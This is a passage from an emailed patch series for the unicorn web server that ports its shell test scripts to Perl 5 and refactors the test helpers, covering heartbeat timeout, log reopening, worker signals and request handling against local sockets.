Subject: [PATCH 03/11] tests: port t/heartbeat-timeout to Perl 5
I absolutely detest and regret adding this feature,
but I'm hell bent on supporting it until the end of days
because we don't break compatibility.
---
t/heartbeat-timeout.ru | 2 +-
t/heartbeat-timeout.t | 69 ++++++++++++++++++++++++++++++++++++
t/t0004-heartbeat-timeout.sh | 69 ------------------------------------
3 files changed, 70 insertions(+), 70 deletions(-)
create mode 100644 t/heartbeat-timeout.t
delete mode 100755 t/t0004-heartbeat-timeout.sh
diff --git a/t/heartbeat-timeout.ru b/t/heartbeat-timeout.ru
index 20a79380..3eeb5d64 100644
--- a/t/heartbeat-timeout.ru
+++ b/t/heartbeat-timeout.ru
@@ -7,6 +7,6 @@
sleep # in case STOP signal is not received in time
[ 500, headers, [ "Should never get here\n" ] ]
else
- [ 200, headers, [ "#$$\n" ] ]
+ [ 200, headers, [ "#$$" ] ]
end
}
diff --git a/t/heartbeat-timeout.t b/t/heartbeat-timeout.t
new file mode 100644
index 00000000..1fcf21a2
--- /dev/null
+++ b/t/heartbeat-timeout.t
@@ -0,0 +1,69 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+use Time::HiRes qw(clock_gettime CLOCK_MONOTONIC);
+mkdir "$tmpdir/alt";
+my $srv = tcp_server();
+my $u_conf = "$tmpdir/u.conf.rb";
+open my $fh, '>', $u_conf;
+print $fh <<EOM;
+pid "$tmpdir/pid"
+preload_app true
+stderr_path "$err_log"
+timeout 3 # WORST FEATURE EVER
+EOM
+close $fh;
+
+my $ar = unicorn(qw(-E none t/heartbeat-timeout.ru -c), $u_conf, { 3 => $srv });
+
+my $c = tcp_start($srv, 'GET /pid HTTP/1.0');
+my ($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'PID request succeeds');
+my $wpid = do { local $/; <$c> };
+like($wpid, qr/\A[0-9]+\z/, 'worker is running');
+
+my $t0 = clock_gettime(CLOCK_MONOTONIC);
+$c = tcp_start($srv, 'GET /block-forever HTTP/1.0');
+vec(my $rvec = '', fileno($c), 1) = 1;
+is(select($rvec, undef, undef, 6), 1, 'got readiness');
+$c->blocking(0);
+is(sysread($c, my $buf, 128), 0, 'got EOF response');
+my $elapsed = clock_gettime(CLOCK_MONOTONIC) - $t0;
+ok($elapsed > 3, 'timeout took >3s');
+
+my @timeout_err = slurp($err_log);
+truncate($err_log, 0);
+is(grep(/timeout \(\d+s > 3s\), killing/, @timeout_err), 1,
+ 'noted timeout error') or diag explain(\@timeout_err);
+
+# did it respawn?
+$c = tcp_start($srv, 'GET /pid HTTP/1.0');
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'PID request succeeds');
+my $new_pid = do { local $/; <$c> };
+isnt($new_pid, $wpid, 'spawned new worker');
+
+diag 'SIGSTOP for 4 seconds...';
+$ar->do_kill('STOP');
+sleep 4;
+$ar->do_kill('CONT');
+for my $i (1..2) {
+ $c = tcp_start($srv, 'GET /pid HTTP/1.0');
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 200\b!,
+ "PID request succeeds #$i after STOP+CONT");
+ my $spid = do { local $/; <$c> };
+ is($new_pid, $spid, "worker pid unchanged after STOP+CONT #$i");
+ if ($i == 1) {
+ diag 'sleeping 2s to ensure timeout is not delayed';
+ sleep 2;
+ }
+}
+
+$ar->join('TERM');
+check_stderr;
+undef $tmpdir;
+
+done_testing;
diff --git a/t/t0004-heartbeat-timeout.sh b/t/t0004-heartbeat-timeout.sh
deleted file mode 100755
index 29652837..00000000
[-- Attachment #5: 0004-tests-port-reopen-logs-test-over-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 2317 bytes --]
From 1607ac966f604ec4cf383025c4c3ee296f638fff Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 07:13:11 +0000
Subject: [PATCH 04/11] tests: port reopen logs test over to Perl 5
Being able to do subsecond sleeps is one welcome advantage
over POSIX (not GNU) sleep(1) in portable Bourne sh.
---
t/{t0006.ru => reopen-logs.ru} | 0
t/reopen-logs.t | 43 ++++++++++++++++++
t/t0006-reopen-logs.sh | 83 ----------------------------------
3 files changed, 43 insertions(+), 83 deletions(-)
rename t/{t0006.ru => reopen-logs.ru} (100%)
create mode 100644 t/reopen-logs.t
delete mode 100755 t/t0006-reopen-logs.sh
diff --git a/t/t0006.ru b/t/reopen-logs.ru
similarity index 100%
rename from t/t0006.ru
rename to t/reopen-logs.ru
diff --git a/t/reopen-logs.t b/t/reopen-logs.t
new file mode 100644
index 00000000..e1bf524c
--- /dev/null
+++ b/t/reopen-logs.t
@@ -0,0 +1,43 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+my $srv = tcp_server();
+my $u_conf = "$tmpdir/u.conf.rb";
+my $out_log = "$tmpdir/out.log";
+open my $fh, '>', $u_conf;
+print $fh <<EOM;
+stderr_path "$err_log"
+stdout_path "$out_log"
+EOM
+close $fh;
+
+my $auto_reap = unicorn('-c', $u_conf, 't/reopen-logs.ru', { 3 => $srv } );
+my $c = tcp_start($srv, 'GET / HTTP/1.0');
+my ($status, $hdr) = slurp_hdr($c);
+my $bdy = do { local $/; <$c> };
+is($bdy, "true\n", 'logs opened');
+
+rename($err_log, "$err_log.rot");
+rename($out_log, "$out_log.rot");
+
+$auto_reap->do_kill('USR1');
+
+my $tries = 1000;
+while (!-f $err_log && --$tries) { select undef, undef, undef, 0.01 };
+while (!-f $out_log && --$tries) { select undef, undef, undef, 0.01 };
+
+ok(-f $out_log, 'stdout_path recreated after USR1');
+ok(-f $err_log, 'stderr_path recreated after USR1');
+
+$c = tcp_start($srv, 'GET / HTTP/1.0');
+($status, $hdr) = slurp_hdr($c);
+$bdy = do { local $/; <$c> };
+is($bdy, "true\n", 'logs reopened with sync==true');
+
+$auto_reap->join('QUIT');
+is($?, 0, 'no error on exit');
+check_stderr;
+undef $tmpdir;
+done_testing;
diff --git a/t/t0006-reopen-logs.sh b/t/t0006-reopen-logs.sh
deleted file mode 100755
index a6e7a17c..00000000
[-- Attachment #6: 0005-tests-rewrite-SIGWINCH-SIGTTIN-test-in-Perl-5.patch --]
[-- Type: text/x-diff, Size: 2916 bytes --]
From 86aea575c331a3b5242db1c14a848928a37ff9e3 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 08:27:04 +0000
Subject: [PATCH 05/11] tests: rewrite SIGWINCH && SIGTTIN test in Perl 5
No need to deal with full second sleeps, here.
---
t/t0009-winch_ttin.sh | 59 -----------------------------------
t/winch_ttin.t | 72 +++++++++++++++++++++++++++++++++++++++++++
2 files changed, 72 insertions(+), 59 deletions(-)
delete mode 100755 t/t0009-winch_ttin.sh
create mode 100644 t/winch_ttin.t
diff --git a/t/t0009-winch_ttin.sh b/t/t0009-winch_ttin.sh
deleted file mode 100755
index 6e56e30c..00000000
diff --git a/t/winch_ttin.t b/t/winch_ttin.t
new file mode 100644
index 00000000..1a198778
--- /dev/null
+++ b/t/winch_ttin.t
@@ -0,0 +1,72 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+use POSIX qw(mkfifo);
+my $u_conf = "$tmpdir/u.conf.rb";
+my $u_sock = "$tmpdir/u.sock";
+my $fifo = "$tmpdir/fifo";
+mkfifo($fifo, 0666) or die "mkfifo($fifo): $!";
+
+open my $fh, '>', $u_conf;
+print $fh <<EOM;
+pid "$tmpdir/pid"
+listen "$u_sock"
+stderr_path "$err_log"
+after_fork do |server, worker|
+ # test script will block while reading from $fifo,
+ File.open("$fifo", "wb") { |fp| fp.syswrite worker.nr.to_s }
+end
+EOM
+close $fh;
+
+unicorn('-D', '-c', $u_conf, 't/integration.ru')->join;
+is($?, 0, 'daemonized properly');
+open $fh, '<', "$tmpdir/pid";
+chomp(my $pid = <$fh>);
+ok(kill(0, $pid), 'daemonized PID works');
+my $quit = sub { kill('QUIT', $pid) if $pid; $pid = undef };
+END { $quit->() };
+
+open $fh, '<', $fifo;
+my $worker_nr = <$fh>;
+close $fh;
+is($worker_nr, '0', 'initial worker spawned');
+
+my $c = unix_start($u_sock, 'GET /pid HTTP/1.0');
+my ($status, $hdr) = slurp_hdr($c);
+like($status, qr/ 200\b/, 'got 200 response');
+my $worker_pid = do { local $/; <$c> };
+like($worker_pid, qr/\A[0-9]+\n\z/s, 'PID in response');
+chomp $worker_pid;
+ok(kill(0, $worker_pid), 'worker_pid is valid');
+
+ok(kill('WINCH', $pid), 'SIGWINCH can be sent');
+
+my $tries = 1000;
+while (CORE::kill(0, $worker_pid) && --$tries) {
+ select undef, undef, undef, 0.01;
+}
+ok(!CORE::kill(0, $worker_pid), 'worker not running');
+
+ok(kill('TTIN', $pid), 'SIGTTIN to restart worker');
+
+open $fh, '<', $fifo;
+$worker_nr = <$fh>;
+close $fh;
+is($worker_nr, '0', 'worker restarted');
+
+$c = unix_start($u_sock, 'GET /pid HTTP/1.0');
+($status, $hdr) = slurp_hdr($c);
+like($status, qr/ 200\b/, 'got 200 response');
+chomp(my $new_worker_pid = do { local $/; <$c> });
+like($new_worker_pid, qr/\A[0-9]+\z/, 'got new worker PID');
+ok(kill(0, $new_worker_pid), 'got a valid worker PID');
+isnt($worker_pid, $new_worker_pid, 'worker PID changed');
+
+$quit->();
+
+check_stderr;
+undef $tmpdir;
+done_testing;
[-- Attachment #7: 0006-tests-introduce-do_req-helper-sub.patch --]
[-- Type: text/x-diff, Size: 11556 bytes --]
From 29885f0d95aaa8e1d1f6cf3b791d9f08338a511e Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 09:15:16 +0000
Subject: [PATCH 06/11] tests: introduce `do_req' helper sub
While early tests required fine-grained control in trickling
requests, many of our later tests can use a short one-liner
w/o having to spawn curl.
---
t/heartbeat-timeout.t | 12 +++---------
t/integration.t | 33 +++++++++++++--------------------
t/lib.perl | 16 +++++++++++++++-
t/reload-bad-config.t | 8 ++------
t/reopen-logs.t | 8 ++------
t/winch_ttin.t | 11 ++++-------
t/working_directory.t | 17 +++++------------
7 files changed, 44 insertions(+), 61 deletions(-)
diff --git a/t/heartbeat-timeout.t b/t/heartbeat-timeout.t
index 1fcf21a2..ce1f7e16 100644
--- a/t/heartbeat-timeout.t
+++ b/t/heartbeat-timeout.t
@@ -18,10 +18,8 @@ close $fh;
my $ar = unicorn(qw(-E none t/heartbeat-timeout.ru -c), $u_conf, { 3 => $srv });
-my $c = tcp_start($srv, 'GET /pid HTTP/1.0');
-my ($status, $hdr) = slurp_hdr($c);
+my ($status, $hdr, $wpid) = do_req($srv, 'GET /pid HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!, 'PID request succeeds');
-my $wpid = do { local $/; <$c> };
like($wpid, qr/\A[0-9]+\z/, 'worker is running');
my $t0 = clock_gettime(CLOCK_MONOTONIC);
@@ -39,10 +37,8 @@ is(grep(/timeout \(\d+s > 3s\), killing/, @timeout_err), 1,
'noted timeout error') or diag explain(\@timeout_err);
# did it respawn?
-$c = tcp_start($srv, 'GET /pid HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
+($status, $hdr, my $new_pid) = do_req($srv, 'GET /pid HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!, 'PID request succeeds');
-my $new_pid = do { local $/; <$c> };
isnt($new_pid, $wpid, 'spawned new worker');
diag 'SIGSTOP for 4 seconds...';
@@ -50,11 +46,9 @@ $ar->do_kill('STOP');
sleep 4;
$ar->do_kill('CONT');
for my $i (1..2) {
- $c = tcp_start($srv, 'GET /pid HTTP/1.0');
- ($status, $hdr) = slurp_hdr($c);
+ ($status, $hdr, my $spid) = do_req($srv, 'GET /pid HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!,
"PID request succeeds #$i after STOP+CONT");
- my $spid = do { local $/; <$c> };
is($new_pid, $spid, "worker pid unchanged after STOP+CONT #$i");
if ($i == 1) {
diag 'sleeping 2s to ensure timeout is not delayed';
diff --git a/t/integration.t b/t/integration.t
index bb2ab51b..13b07467 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -62,11 +62,10 @@ EOM
},
);
-my ($c, $status, $hdr);
+my ($c, $status, $hdr, $bdy);
# response header tests
-$c = tcp_start($srv, 'GET /rack-2-newline-headers HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
+($status, $hdr) = do_req($srv, 'GET /rack-2-newline-headers HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
my $orig_200_status = $status;
is_deeply([ grep(/^X-R2: /, @$hdr) ],
@@ -84,16 +83,16 @@ SKIP: { # Date header check
};
-$c = tcp_start($srv, 'GET /rack-3-array-headers HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
+($status, $hdr) = do_req($srv, 'GET /rack-3-array-headers HTTP/1.0');
is_deeply([ grep(/^x-r3: /, @$hdr) ],
[ 'x-r3: a', 'x-r3: b', 'x-r3: c' ],
'rack 3 array headers supported') or diag(explain($hdr));
SKIP: {
eval { require JSON::PP } or skip "JSON::PP missing: $@", 1;
- my $c = tcp_start($srv, 'GET /env_dump');
- my $json = do { local $/; readline($c) };
+ ($status, $hdr, my $json) = do_req $srv, 'GET /env_dump';
+ is($status, undef, 'no status for HTTP/0.9');
+ is($hdr, undef, 'no header for HTTP/0.9');
unlike($json, qr/^Connection: /smi, 'no connection header for 0.9');
unlike($json, qr!\AHTTP/!s, 'no HTTP/1.x prefix for 0.9');
my $env = JSON::PP->new->decode($json);
@@ -102,8 +101,7 @@ SKIP: {
}
# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
-$c = tcp_start($srv, 'GET /nil-header-value HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
+($status, $hdr) = do_req($srv, 'GET /nil-header-value HTTP/1.0');
is_deeply([grep(/^X-Nil:/, @$hdr)], ['X-Nil: '],
'nil header value accepted for broken apps') or diag(explain($hdr));
@@ -128,12 +126,10 @@ my $ck_early_hints = sub {
$ck_early_hints->('ccc off'); # we'll retest later
if ('TODO: ensure Rack::Utils::HTTP_STATUS_CODES is available') {
- $c = tcp_start($srv, 'POST /tweak-status-code HTTP/1.0');
- ($status, $hdr) = slurp_hdr($c);
+ ($status, $hdr) = do_req $srv, 'POST /tweak-status-code HTTP/1.0';
like($status, qr!\AHTTP/1\.[01] 200 HI\b!, 'status tweaked');
- $c = tcp_start($srv, 'POST /restore-status-code HTTP/1.0');
- ($status, $hdr) = slurp_hdr($c);
+ ($status, $hdr) = do_req $srv, 'POST /restore-status-code HTTP/1.0';
is($status, $orig_200_status, 'original status restored');
}
@@ -145,12 +141,11 @@ SKIP: {
}
if ('bad requests') {
- $c = tcp_start($srv, 'GET /env_dump HTTP/1/1');
- ($status, $hdr) = slurp_hdr($c);
+ ($status, $hdr) = do_req $srv, 'GET /env_dump HTTP/1/1';
like($status, qr!\AHTTP/1\.[01] 400 \b!, 'got 400 on bad request');
$c = tcp_start($srv);
- print $c 'GET /';;
+ print $c 'GET /';
my $buf = join('', (0..9), 'ab');
for (0..1023) { print $c $buf }
print $c " HTTP/1.0\r\n\r\n";
@@ -308,12 +303,10 @@ EOM
$wpid =~ s/\Apid=// or die;
ok(CORE::kill(0, $wpid), 'worker PID retrieved');
- $c = tcp_start($srv, $req);
- ($status, $hdr) = slurp_hdr($c);
+ ($status, $hdr) = do_req($srv, $req);
like($status, qr!\AHTTP/1\.[01] 200\b!, 'minimal request succeeds');
- $c = tcp_start($srv, 'GET /xxxxxx HTTP/1.0');
- ($status, $hdr) = slurp_hdr($c);
+ ($status, $hdr) = do_req($srv, 'GET /xxxxxx HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 413\b!, 'big request fails');
}
diff --git a/t/lib.perl b/t/lib.perl
index 7de9e426..13e390d6 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -12,7 +12,8 @@ use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh, $err_log);
our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn
$tmpdir $errfh $err_log
- SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr);
+ SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr
+ do_req);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
@@ -182,6 +183,19 @@ sub unicorn {
UnicornTest::AutoReap->new($pid);
}
+sub do_req ($@) {
+ my ($dst, @req) = @_;
+ my $c = ref($dst) ? tcp_start($dst, @req) : unix_start($dst, @req);
+ return $c if !wantarray;
+ my ($status, $hdr);
+ # read headers iff HTTP/1.x request, HTTP/0.9 remains supported
+ my ($first) = (join('', @req) =~ m!\A([^\r\n]+)!);
+ ($status, $hdr) = slurp_hdr($c) if $first =~ m{\s*HTTP/\S+$};
+ my $bdy = do { local $/; <$c> };
+ close $c;
+ ($status, $hdr, $bdy);
+}
+
# automatically kill + reap children when this goes out-of-scope
package UnicornTest::AutoReap;
use v5.14;
diff --git a/t/reload-bad-config.t b/t/reload-bad-config.t
index c7055c7e..543421da 100644
--- a/t/reload-bad-config.t
+++ b/t/reload-bad-config.t
@@ -25,9 +25,7 @@ EOM
close $fh;
my $ar = unicorn(qw(-E none -c), $u_conf, $ru, { 3 => $srv });
-my $c = tcp_start($srv, 'GET / HTTP/1.0');
-my ($status, $hdr) = slurp_hdr($c);
-my $bdy = do { local $/; <$c> };
+my ($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid at start');
is($bdy, "hello world\n", 'body matches expected');
@@ -47,9 +45,7 @@ ok(grep(/error reloading/, @l), 'got error reloading');
open $fh, '>', $err_log;
close $fh;
-$c = tcp_start($srv, 'GET / HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
-$bdy = do { local $/; <$c> };
+($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid afte reload');
is($bdy, "hello world\n", 'body matches expected after reload');
diff --git a/t/reopen-logs.t b/t/reopen-logs.t
index e1bf524c..8a58c1b9 100644
--- a/t/reopen-logs.t
+++ b/t/reopen-logs.t
@@ -14,9 +14,7 @@ EOM
close $fh;
my $auto_reap = unicorn('-c', $u_conf, 't/reopen-logs.ru', { 3 => $srv } );
-my $c = tcp_start($srv, 'GET / HTTP/1.0');
-my ($status, $hdr) = slurp_hdr($c);
-my $bdy = do { local $/; <$c> };
+my ($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
is($bdy, "true\n", 'logs opened');
rename($err_log, "$err_log.rot");
@@ -31,9 +29,7 @@ while (!-f $out_log && --$tries) { select undef, undef, undef, 0.01 };
ok(-f $out_log, 'stdout_path recreated after USR1');
ok(-f $err_log, 'stderr_path recreated after USR1');
-$c = tcp_start($srv, 'GET / HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
-$bdy = do { local $/; <$c> };
+($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
is($bdy, "true\n", 'logs reopened with sync==true');
$auto_reap->join('QUIT');
diff --git a/t/winch_ttin.t b/t/winch_ttin.t
index 1a198778..509b118f 100644
--- a/t/winch_ttin.t
+++ b/t/winch_ttin.t
@@ -34,10 +34,8 @@ my $worker_nr = <$fh>;
close $fh;
is($worker_nr, '0', 'initial worker spawned');
-my $c = unix_start($u_sock, 'GET /pid HTTP/1.0');
-my ($status, $hdr) = slurp_hdr($c);
+my ($status, $hdr, $worker_pid) = do_req($u_sock, 'GET /pid HTTP/1.0');
like($status, qr/ 200\b/, 'got 200 response');
-my $worker_pid = do { local $/; <$c> };
like($worker_pid, qr/\A[0-9]+\n\z/s, 'PID in response');
chomp $worker_pid;
ok(kill(0, $worker_pid), 'worker_pid is valid');
@@ -57,11 +55,10 @@ $worker_nr = <$fh>;
close $fh;
is($worker_nr, '0', 'worker restarted');
-$c = unix_start($u_sock, 'GET /pid HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
+($status, $hdr, my $new_worker_pid) = do_req($u_sock, 'GET /pid HTTP/1.0');
like($status, qr/ 200\b/, 'got 200 response');
-chomp(my $new_worker_pid = do { local $/; <$c> });
-like($new_worker_pid, qr/\A[0-9]+\z/, 'got new worker PID');
+like($new_worker_pid, qr/\A[0-9]+\n\z/, 'got new worker PID');
+chomp $new_worker_pid;
ok(kill(0, $new_worker_pid), 'got a valid worker PID');
isnt($worker_pid, $new_worker_pid, 'worker PID changed');
diff --git a/t/working_directory.t b/t/working_directory.t
index e7ff43a5..6c974720 100644
--- a/t/working_directory.t
+++ b/t/working_directory.t
@@ -52,10 +52,8 @@ END { $stop_daemon->(1) if defined $pid };
unicorn('-c', $u_conf)->join; # will daemonize
chomp($pid = slurp("$tmpdir/pid"));
-my $c = unix_start($u_sock, 'GET / HTTP/1.0');
-my ($status, $hdr) = slurp_hdr($c);
-chomp(my $bdy = do { local $/; <$c> });
-is($bdy, 1, 'got expected $master_ppid');
+my ($status, $hdr, $bdy) = do_req($u_sock, 'GET / HTTP/1.0');
+is($bdy, "1\n", 'got expected $master_ppid');
$stop_daemon->();
check_stderr;
@@ -69,10 +67,8 @@ if ('test without CLI switches in config.ru') {
unicorn('-D', '-l', $u_sock, '-c', $u_conf)->join; # will daemonize
chomp($pid = slurp("$tmpdir/pid"));
- $c = unix_start($u_sock, 'GET / HTTP/1.0');
- ($status, $hdr) = slurp_hdr($c);
- chomp($bdy = do { local $/; <$c> });
- is($bdy, 1, 'got expected $master_ppid');
+ ($status, $hdr, $bdy) = do_req($u_sock, 'GET / HTTP/1.0');
+ is($bdy, "1\n", 'got expected $master_ppid');
$stop_daemon->();
check_stderr;
@@ -107,12 +103,9 @@ EOM
my $srv = tcp_server;
my $auto_reap = unicorn(qw(-c), $u_conf, qw(-I. fooapp.rb),
{ -C => '/', 3 => $srv });
- $c = tcp_start($srv, 'GET / HTTP/1.0');
- ($status, $hdr) = slurp_hdr($c);
- chomp($bdy = do { local $/; <$c> });
+ ($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
is($bdy, "dir=$tmpdir/alt",
'fooapp.rb (w/o config.ru) w/ working_directory');
- close $c;
$auto_reap->join('TERM');
is($?, 0, 'fooapp.rb process exited');
check_stderr;
[-- Attachment #8: 0007-tests-use-more-common-variable-names-between-tests.patch --]
[-- Type: text/x-diff, Size: 6507 bytes --]
From 948f78403172657590d690b9255467b9ccb968cd Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 09:31:44 +0000
Subject: [PATCH 07/11] tests: use more common variable names between tests
Stuff like $u_conf, $daemon_pid, $pid_file, etc. will
reduce cognitive overhead.
---
t/active-unix-socket.t | 2 +-
t/client_body_buffer_size.t | 6 ++----
t/heartbeat-timeout.t | 3 +--
t/integration.t | 5 ++---
t/lib.perl | 31 +++++++++++++++++++++++++++----
t/working_directory.t | 31 +++++--------------------------
6 files changed, 38 insertions(+), 40 deletions(-)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index 4dcc8dc6..32cb0c2e 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -15,7 +15,7 @@ my $u2 = "$tmpdir/u2.sock";
print $fh <<EOM;
pid "$tmpdir/u.pid"
listen "$u1"
-stderr_path "$tmpdir/err.log"
+stderr_path "$err_log"
EOM
close $fh;
diff --git a/t/client_body_buffer_size.t b/t/client_body_buffer_size.t
index 3067f284..d4799012 100644
--- a/t/client_body_buffer_size.t
+++ b/t/client_body_buffer_size.t
@@ -4,16 +4,14 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
-my $uconf = "$tmpdir/u.conf.rb";
-
-open my $conf_fh, '>', $uconf;
+open my $conf_fh, '>', $u_conf;
$conf_fh->autoflush(1);
print $conf_fh <<EOM;
client_body_buffer_size 0
EOM
my $srv = tcp_server();
my $host_port = tcp_host_port($srv);
-my @uarg = (qw(-E none t/client_body_buffer_size.ru -c), $uconf);
+my @uarg = (qw(-E none t/client_body_buffer_size.ru -c), $u_conf);
my $ar = unicorn(@uarg, { 3 => $srv });
my ($c, $status, $hdr);
my $mem_class = 'StringIO';
diff --git a/t/heartbeat-timeout.t b/t/heartbeat-timeout.t
index ce1f7e16..694867a4 100644
--- a/t/heartbeat-timeout.t
+++ b/t/heartbeat-timeout.t
@@ -6,7 +6,6 @@ use autodie;
use Time::HiRes qw(clock_gettime CLOCK_MONOTONIC);
mkdir "$tmpdir/alt";
my $srv = tcp_server();
-my $u_conf = "$tmpdir/u.conf.rb";
open my $fh, '>', $u_conf;
print $fh <<EOM;
pid "$tmpdir/pid"
@@ -23,7 +22,7 @@ like($status, qr!\AHTTP/1\.[01] 200\b!, 'PID request succeeds');
like($wpid, qr/\A[0-9]+\z/, 'worker is running');
my $t0 = clock_gettime(CLOCK_MONOTONIC);
-$c = tcp_start($srv, 'GET /block-forever HTTP/1.0');
+my $c = tcp_start($srv, 'GET /block-forever HTTP/1.0');
vec(my $rvec = '', fileno($c), 1) = 1;
is(select($rvec, undef, undef, 6), 1, 'got readiness');
$c->blocking(0);
diff --git a/t/integration.t b/t/integration.t
index 13b07467..eb40ffc7 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -10,15 +10,14 @@ use autodie;
our $srv = tcp_server();
our $host_port = tcp_host_port($srv);
my $t0 = time;
-my $conf = "$tmpdir/u.conf.rb";
-open my $conf_fh, '>', $conf;
+open my $conf_fh, '>', $u_conf;
$conf_fh->autoflush(1);
my $u1 = "$tmpdir/u1";
print $conf_fh <<EOM;
early_hints true
listen "$u1"
EOM
-my $ar = unicorn(qw(-E none t/integration.ru -c), $conf, { 3 => $srv });
+my $ar = unicorn(qw(-E none t/integration.ru -c), $u_conf, { 3 => $srv });
my $curl = which('curl');
my $fifo = "$tmpdir/fifo";
POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
diff --git a/t/lib.perl b/t/lib.perl
index 13e390d6..244972bc 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -6,20 +6,43 @@ use v5.14;
use parent qw(Exporter);
use autodie;
use Test::More;
+use Time::HiRes qw(sleep);
use IO::Socket::INET;
use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
-our ($tmpdir, $errfh, $err_log);
+our ($tmpdir, $errfh, $err_log, $u_sock, $u_conf, $daemon_pid,
+ $pid_file);
our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn
- $tmpdir $errfh $err_log
+ $tmpdir $errfh $err_log $u_sock $u_conf $daemon_pid $pid_file
SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr
- do_req);
+ do_req stop_daemon);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
$err_log = "$tmpdir/err.log";
+$pid_file = "$tmpdir/pid";
+$u_sock = "$tmpdir/u.sock";
+$u_conf = "$tmpdir/u.conf.rb";
open($errfh, '>>', $err_log);
-END { diag slurp($err_log) if $tmpdir };
+
+sub stop_daemon (;$) {
+ my ($is_END) = @_;
+ kill('TERM', $daemon_pid);
+ my $tries = 1000;
+ while (CORE::kill(0, $daemon_pid) && --$tries) { sleep(0.01) }
+ if ($is_END && CORE::kill(0, $daemon_pid)) { # after done_testing
+ CORE::kill('KILL', $daemon_pid);
+ die "daemon_pid=$daemon_pid did not die";
+ } else {
+ ok(!CORE::kill(0, $daemon_pid), 'daemonized unicorn gone');
+ undef $daemon_pid;
+ }
+};
+
+END {
+ diag slurp($err_log) if $tmpdir;
+ stop_daemon(1) if defined $daemon_pid;
+};
sub check_stderr () {
my @log = slurp($err_log);
diff --git a/t/working_directory.t b/t/working_directory.t
index 6c974720..f9254eb8 100644
--- a/t/working_directory.t
+++ b/t/working_directory.t
@@ -4,12 +4,10 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
mkdir "$tmpdir/alt";
-my $u_sock = "$tmpdir/u.sock";
my $ru = "$tmpdir/alt/config.ru";
-my $u_conf = "$tmpdir/u.conf.rb";
open my $fh, '>', $u_conf;
print $fh <<EOM;
-pid "$tmpdir/pid"
+pid "$pid_file"
preload_app true
stderr_path "$err_log"
working_directory "$tmpdir/alt" # the whole point of this test
@@ -30,32 +28,13 @@ $common_ru
EOM
close $fh;
-my $pid;
-my $stop_daemon = sub {
- my ($is_END) = @_;
- kill('TERM', $pid);
- my $tries = 1000;
- while (CORE::kill(0, $pid) && --$tries) {
- select undef, undef, undef, 0.01;
- }
- if ($is_END && CORE::kill(0, $pid)) {
- CORE::kill('KILL', $pid);
- die "daemonized PID=$pid did not die";
- } else {
- ok(!CORE::kill(0, $pid), 'daemonized unicorn gone');
- undef $pid;
- }
-};
-
-END { $stop_daemon->(1) if defined $pid };
-
unicorn('-c', $u_conf)->join; # will daemonize
